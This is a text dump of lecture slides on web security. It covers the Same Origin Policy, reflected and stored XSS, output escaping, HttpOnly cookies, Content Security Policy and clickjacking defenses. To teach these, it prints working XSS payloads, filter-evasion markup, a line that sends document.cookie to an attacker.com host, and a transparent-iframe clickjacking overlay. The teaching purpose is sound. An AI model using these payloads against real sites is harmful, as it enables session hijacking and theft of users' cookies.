0% found this document useful (0 votes)
14 views53 pages

Lec07 XSS Clickjacking 1.5m

The document discusses the Same Origin Policy (SOP) and its implications for web security, particularly in relation to Cross-Site Scripting (XSS) and Clickjacking vulnerabilities. It explains how SOP restricts interactions between different origins and details the types of XSS attacks, including stored and reflected XSS, along with methods for prevention and defense strategies such as escaping user input and implementing Content Security Policy (CSP). The document emphasizes the importance of securing user data and the need for layered security measures to mitigate potential attacks.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
0% found this document useful (0 votes)
14 views53 pages

Lec07 XSS Clickjacking 1.5m

The document discusses the Same Origin Policy (SOP) and its implications for web security, particularly in relation to Cross-Site Scripting (XSS) and Clickjacking vulnerabilities. It explains how SOP restricts interactions between different origins and details the types of XSS attacks, including stored and reflected XSS, along with methods for prevention and defense strategies such as escaping user input and implementing Content Security Policy (CSP). The document emphasizes the importance of securing user data and the need for layered security measures to mitigate potential attacks.
Copyright
© © All Rights Reserved
We take content rights seriously. If you suspect this is your content, claim it here.
Available Formats
Download as PDF, TXT or read online on Scribd
You are on page 1/ 53

XSS & Clickjacking

1. Same Origin Policy


What should be allowed?

• Should site A be able to link to site B?


• Should site A be able to embed site B?
• Should site A be able to embed site B and modify
its contents?
• Should site A be able to submit a form to site B?
• Should site A be able to embed images from site B?
• Should site A be able to embed scripts from site B?
• Should site A be able to read data from site B?
Same Origin Policy

• Every webpage has an origin defined by its URL


with three parts:
• Protocol: The protocol in the URL
• Domain: The domain in the URL’s location
• Port: The port in the URL’s location
• If no port is specified, the default is 80 for HTTP and
443 for HTTPS
• The origin of a page is derived from the URL it was
loaded from
https://en.wikipedia.org/wiki/Security

http://wikipedia.org:8080/editor
Same Origin Policy

• Two webpages have the same origin if and only if the


protocol, domain, and port of the URL all match exactly
• Think string matching: The protocol, domain, and port strings
must be equal
First domain Second domain Same origin?
https://en.wikipedia.com http://en.wikipedia.com Protocol mismatch
http ≠ https
https://en.wikipedia.com https://wikipedia.com Domain mismatch
en.wikipedia.com ≠
wikipedia.com
https://en.wikipedia.com https://www.wikipedia.com Domain mismatch
en.wikipedia.com ≠
www.wikipedia.com
https://wikipedia.com https://wikipedia.com:8080 Port mismatch
443 ≠ 8080
Same Origin Policy

• Two websites with different origins cannot interact


with each other
• Example: If b.com embeds a.com, the inner frame
cannot interact with the outer frame, and the outer
frame cannot interact with the inner-frame

A B DOM
A
A

DOM
B
Same Origin Policy

• Exception: JavaScript runs with the origin of the


page that loaded it
• Example: If bank.com fetches JavaScript from
evil.com, the JavaScript has the origin of bank.com

https://bank.com

evil.com
bank.com
Same Origin Policy

• Exception: Websites can fetch and display images


from other origins
• However, the website only knows about the image’s
size and dimensions (cannot actually manipulate the
image)
• Exception: Websites can agree to allow some
limited sharing
• Cross-origin resource sharing (CORS)
• The postMessage function in JavaScript
2. Cross-Site Scripting(XSS)
Same Origin Policy

• Idea: The attacker adds malicious JavaScript to a


legitimate website
• The legitimate website will send the attacker’s JavaScript to
browsers
• The attacker’s JavaScript will run with the origin of the
legitimate website
• Now the attacker’s JavaScript can access information on
the legitimate website!
• Cross-site scripting (XSS): Injecting JavaScript into
websites that are viewed by other users
• Cross-site scripting subverts the same-origin policy
• Two main types of XSS
• Stored XSS
• Reflected XSS
Reflected XSS

• Reflected XSS: the malicious code is placed into


the HTTP request itself, and the code is reflected
(copied) in the response from the server

bank.com

Victim

4. Victim browser executes


malicious script
Attacker
Example: Reflected XSS vulnerability

• Classic search: victim.com/?search=USER_INPUT


• Resulting page:
<p> Search result for USER_INPUT </p>
• Benign search: victim.com/?search=security
• Resulting page:
<p> Search result for security </p>
• How about: victim.com/?search=
%3Cscript%3Ealert(document.cookie) %3C%2Fscript%3E
• Resulting page
<p>Search result for
<script>alert(document.cookie)</script></p>
Example: Reflected XSS attack

• How do we force the victim to make a request to the


legitimate website with injected JavaScript?
• Trick the victim into visiting the attacker’s website, and
include an embedded iframe that makes the request
• Can make the iframe very small (1 pixel x 1 pixel), so the victim
doesn’t notice it:
<iframe height=1 width=1
src="https://victim.com/search?q=MALICIOUS_CODE">
• Trick the victim into clicking a link (e.g. posting on social
media, sending a text, etc.)
• Trick the victim into visiting the attacker’s website, which
redirects to the reflected XSS link
• … and many more!
Example: Session hijacking with XSS

• What if website is vulnerable to XSS?


• Attacker can insert their code into the webpage
• At this point, they can easily exfiltrate the user's
cookie
Store XSS

• Stored XSS (persistent XSS): The attacker’s


JavaScript is stored on the legitimate server and
sent to browsers
• Classic example: Comment pages
• Anybody can load a page with comments provided by
users
• An attacker puts some JavaScript on their comment
• Anybody who loads the attacker’s comment will see
JavaScript (with the origin of website)
• Stored XSS requires the victim to load the page
with injected JavaScript
Stored XSS

bank.com

1. Inject malicious script


Victim

4. Victim browser executes


malicious script

Attacker
Inject into HTML elements

• HTML template:
<p>Search result for USER_DATA_HERE</p>
• Injected code
<script>MALICIOUS_CODE</script>
• Resulting page:
<p>Search result for
<script> MALICIOUS_CODE </script></p>
• How to fix?
• Change all < to &lt;
• Change all & to &amp;
• Resulting page (escaping)
<p>Search result for
&lt;script> MALICIOUS_CODE&lt;/script></p>
Inject into HTML attributes

• HTML template:
<img src='avatar.png' alt='USER_DATA_HERE'/>
• Injected code:
Evil' onload='MALICIOUS_CODE
• Resulting page (no escaping):
<img src='avatar.png'
alt= 'Evil' onload='MALICIOUS_CODE' />
• How to fix?
• Change all ‘ to &#x27; and “ to &quot;
• Change all & to &amp;
• Resulting page (escaping)
<img src='avatar.png'
alt= 'Evil&#x27; onload='MALICIOUS_CODE' />
Inject into HTML attributes

• HTML template (without quotes):


<img src='avatar.png' alt=USER_DATA_HERE />
• Injected code:
Evil onload=MALICIOUS_CODE
• Resulting page (escaping)
<img src='avatar.png'
alt= Evil onload=MALICIOUS_CODE />
• How to fix?
• Always quote attributes
Beware HTML attributes with special meanings

• Beware certain attributes like src and href!


• e.g. <script src='USER_DATA_HERE'></script>
can never be safe, even if you escape HTML
entities of the attribute value
• Watch out for data: and javascript: URLs!
What is data: and javascript: for?

• Let user choose a URL, get JavaScript execution:


<a href=''javascript:alert(document.cookie)'>Say hi</a>

• Let user choose a page to iframe, get JavaScript


execution:
<iframe src='data:text/html,
<script>alert(document.cookie)</script>'></iframe>
• Let user choose a script, get JavaScript execution:
<script src='data:application/javascript,
alert(document.cookie)'></script>
Inject into on* attributes

• HTML template:
<div onmouseover='handleHover(USER_DATA_HERE)'>
• User input: ); MALICIOUS_CODE
• Resulting page :
<div onmouseover='handleHover(); MALICIOUS_CODE’>
• Escaping just ' and " is not enough here!
Inject into <div>

• HTML template:
<div id='USER_DATA_HERE'>Some text</div>
• Injected code :
username’>Some text </div>
<script>
if (typeof username !== 'undefined')
MALICIOUS_CODE
}
</script>
Insert into script elements

• HTML template:
<script>
let username = ‘USER_DATA_HERE’
alert(‘Hi there, ${username}’)
</script>
• Injected code:
Evil’; MALICIOUS_CODE; //
• Resulting page
<script>
let username = ‘Evil’; MALICIOUS_CODE; //’ alert(`Hi
there, ${username}`)
</script>

• How to fix?
• Change all ‘ to &#x27; and “ to &quot;
• Change all & to &amp;
Insert into script elements

• Injected code:
</script><script> MALICIOUS_CODE </script><script>
• Resulting page
<script>
let username = '</script><script>
MALICIOUS_CODE </script><script>’
alert(`Hi there, ${username}`)
</script>
• How to fix?
• Change all < to &lt;
• Change all & to &amp;
Insert into script elements

• How to fix?
<template id=‘username’>
HTML_ENCODED_USER_INPUT</template>
<script>
let content = document.getElementById('username').content
let username = content.textContent
alert(`Hi there, ${username}`)
</script>
Contexts which are never safe

<script>NEVER PUT UNTRUSTED DATA HERE</script>

<!-- NEVER PUT UNTRUSTED DATA HERE -->

< NEVER_PUT_UNTRUSTED_DATA_HERE href='/'>Link</


NEVER_PUT_UNTRUSTED_DATA_HERE >

<div NEVER_PUT_UNTRUSTED_DATA_HERE></div>

<style> NEVER PUT UNTRUSTED DATA HERE </style>


Be careful of lax HTML syntax

• Here is some "valid" HTML:


<script/XSS
src='https://attacker.com/xss.js'></script>

<body onload!#$%&()*~+-
_.,:;?@[/|\]^`=alert(document.cookie)>

<img """><script>alert(document.cookie)</script>">
<iframe
src=https://attacker.com/path/to/some/file/xss.js <
2. XSS Defense
XSS Defense

• Problem: untrusted user data unexpectedly


becomes code
• Where untrusted data comes from?
• Query parameters, form fields, headers, cookies, file
uploads
• Data from a database
• Third-party services
• Solution: need to "escape" or "sanitize" user input
before combining it with code (the HTML
template)
When to escape?

• On the way into the database, or on the way out


at render time?
• Always: on the way out, at render time
• Why?
• Even if you are sure that you control all possible ways
for data to get into the database, you don't know in
advance what context the data will appear in
• Different contexts have different "control characters"
(characters that need to be escaped)
How to escape user input?

• Rewrite 6 special characters


&  &amp; “  &quot;
<  &lt; ‘  &#x27;
>  &gt; / &#x2F;
• Use your framework's built-in HTML escaping
functionality
• Make sure you know the contexts where it is safe
to use the output
• e.g. Don't use an HTML escaping function and put the
output into a <script> tag or an HTML comment
Defense-in-depth

• What if we accept that XSS will happen to our


site?
• XSS is one of the most common vulnerabilities
• Defense-in-depth: multiple types of defenses
should be layered together
• Provide redundancy in case security controls fail,
or a vulnerability is exploited
• Attacker now has to find multiple exploitable
vulnerabilities in order to produce a successful
attack
Defending the user's cookies

• Use HttpOnly cookie attribute to prevent cookie


from being read from JavaScript in the user's
browser
Set-Cookie: key=value; HttpOnly
• HttpOnly defeats this attack code:
new Image().src = 'https://attacker.com/steal?
cookie=' + document.cookie
• Note: This restriction applies to JavaScript from
the site author too!
Content Security Policy (CSP)

• Previously, we talked about ways to tighten up


Same Origin Policy in terms of which sites could
e.g. send requests with cookies to our site
• That is, preventing other sites from making certain
requests to our site
• CSP is inverse: prevent our site from making
requests to other sites
• CSP is an added layer of security against XSS
• Even if attacker code is running in user's browser in
our site's context, we can limit the damage they can do
The Content-Security-Policy HTTP Header

• Add the Content-Security-Policy header to an HTTP


response to control the resources the page is allowed to
load
• CSP blocks HTTP requests which would violate the policy
• Header syntax:
Content-Security-Policy: <directive> <value>;
<directive> <value>; …
• Meta HTML Object
<meta http-equiv="Content-Security-Policy"
content="<directive> <value>"; <directive> <value>; …>

• NodeJS
response.setHeader("Content-Security-Policy", "<directive>
<value>; <directive> <value>; … ")
<directive>

• script-src: Specifies valid sources for JavaScript and


WebAssembly resources.
• script-src-elem: Specifies valid sources for
JavaScript <script> elements
• script-src-attr: Specifies valid sources for
JavaScript inline event handlers.
• default-src: Serves as a fallback for the other fetch
directives.
• …and more
<value>

• ‘none’: Won't allow loading of any resources.


• ‘self’: Only allow resources from the current origin.
• ‘strict-dynamic’: The trust granted to a script in the
page due to an accompanying nonce or hash is extended
to the scripts it loads.
• Host: Only allow loading of resources from a specific host,
with optional scheme, port, and path.
• Example: example.com, *.example.com,
https://*.example.com:12/path/to/file.js
• Path parts in the CSP that end in / match any path they are a
prefix of
• Other path parts in the CSP are matched exactly
• Scheme: Only allow loading of resources over a specific
scheme
• Example: https:, http:
Example

Content-Security-Policy: script-src 'self'


• Is <script src='/hello.js'></script> allowed?
• Yes, relative URLs are loaded from the same origin
• Is <script src='https://other.com/script.js'></script>
allowed?
• No, script comes from a different origin
• Is <script>alert('hello')</script> allowed?
• No, inline scripts are prevented. Strong protection against XSS!
• Is <div onmouseover='alert("hello")'></div> allowed?
• No, inline scripts are prevented. Strong protection against XSS!
strict-dynamic

• CSP break the site! Why?


Content-Security-Policy: default-src 'self’; script-
src 'self' https://www.google-analytics.com

<script async src='https://www.google-


analytics.com/analytics.js'></script>

• Use 'unsafe-inline' to allow inline scripts, but this is


basically equivalent to having no CSP!
Content-Security-Policy: default-src 'self’; script-
src 'self' https://www.google-analytics.com 'unsafe-
inline'
strict-dynamic

Content-Security-Policy:
script-src 'strict-dynamic' 'nonce-RANDOM_HERE'
* 'unsafe-inline';

<script async src='https://www.google-


analytics.com/analytics.js' nonce=‘RANDOM_HERE’>
</script>

• strict-dynamic: The trust granted to a script in the


page due to an accompanying nonce or hash is extended
to the scripts it loads.
• Attacker can't figure out the nonce. Why?
• Nonce changes on each page load, and is unpredictable
• Attacker can't inspect the DOM to read the nonce unless they're
already running JavaScript
References

• Prevention Cheat Sheet:


https://cheatsheetseries.owasp.org/cheatsheets/Cross_Si
te_Scripting_Prevention_Cheat_Sheet.html
• DOM based XSS Prevention Cheat Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/DOM_b
ased_XSS_Prevention_Cheat_Sheet.html
• XSS Filter Evasion Cheat Sheet:
https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filt
er_Evasion_Cheat_Sheet.html
3. Clickjacking
Clickjacking

• Clickjacking: Trick the victim into clicking on


something from the attacker
• Main vulnerability: the browser trusts the user’s
clicks
• When the user clicks on something, the browser assumes
the user intended to click there
• Why steal clicks?
• Download a malicious program
• Trick to XSS attack
• Trick to CSRF attack
• Why steal keystrokes?
• Steal passwords
• Steal credit card numbers
• Steal personal info
Clickjacking

Navigate to soict.hust.edu.vn.
Notice the URL when hovering
over the image.
Clickjacking
Load soic.hust.edu.vn in an
iframe

<iframe style="opacity: 1.0"


src="https://soict.hust.edu.vn/"></iframe>

We can’t generate clicks


ourselves because of SOP, but
the user can still click…
Clickjacking
Place some enticing content
underneath

<iframe style="opacity: 1.0"


src="https://soict.hust.edu.vn/"></iframe>
<p style="margin-top: -200pt"><em>You
<b>Know</b> You Want To Click
Here!</em></p>
Clickjacking
Make the iframe slightly
transparent…

<iframe style="opacity: 0.3"


src="https://soict.hust.edu.vn/"></iframe>
<p style="margin-top: 200pt"><em>You
<b>Know</b> You Want To Click
Here!</em></p>
Clickjacking
Make it entirely transparent

<iframe style="opacity: 0"


src="https://soict.hust.edu.vn/"></iframe>
<p style="margin-top: 200pt"><em>You
<b>Know</b> You Want To Click
Here!</em></p>

But the user still clicks on the


iframe!
Clickjacking defense

• Require confirmation/MFA from users


• Drawbacks: Asking for confirmation/MFA annoys
users (consider human factors!)
• Frame-busting: The legitimate website forbids
other websites from embedding it in an iframe
• Defeats the invisible iframe attacks
• Can be enforced by Content Security Policy (CSP)
• Can be enforced by X-Frame-Options (an HTTP
header)
X-Frame-Options HTTP Header

• X-Frame-Options not specified (Default)


• Any page can display this page in an iframe
• X-Frame-Options: deny
• Page can not be displayed in an iframe
• X-Frame-Options: sameorigin
• Page can only be displayed in an iframe on the same origin as the
page itself
• How to set?
• Meta HTML Object
<meta http-equiv="X-Frame-Options" content="<value>">
• NodeJS
response.setHeader("X-Frame-Options", "<value>")
X-Frame-Options HTTP Header
GET / HTTP/1.1
Host: attacker.com

HTTP/1.1 200 OK Server


<iframe src=“https://bank.com”> attacker.com

GET / HTTP/1.1
Host: bank.com
Client
attacker.com HTTP/1.1 200 OK
X-Frame-Options:…
<!DOCTYPE html>
Server
bank.com
Embed allow?
X-Frame-Options:sameorigin

You might also like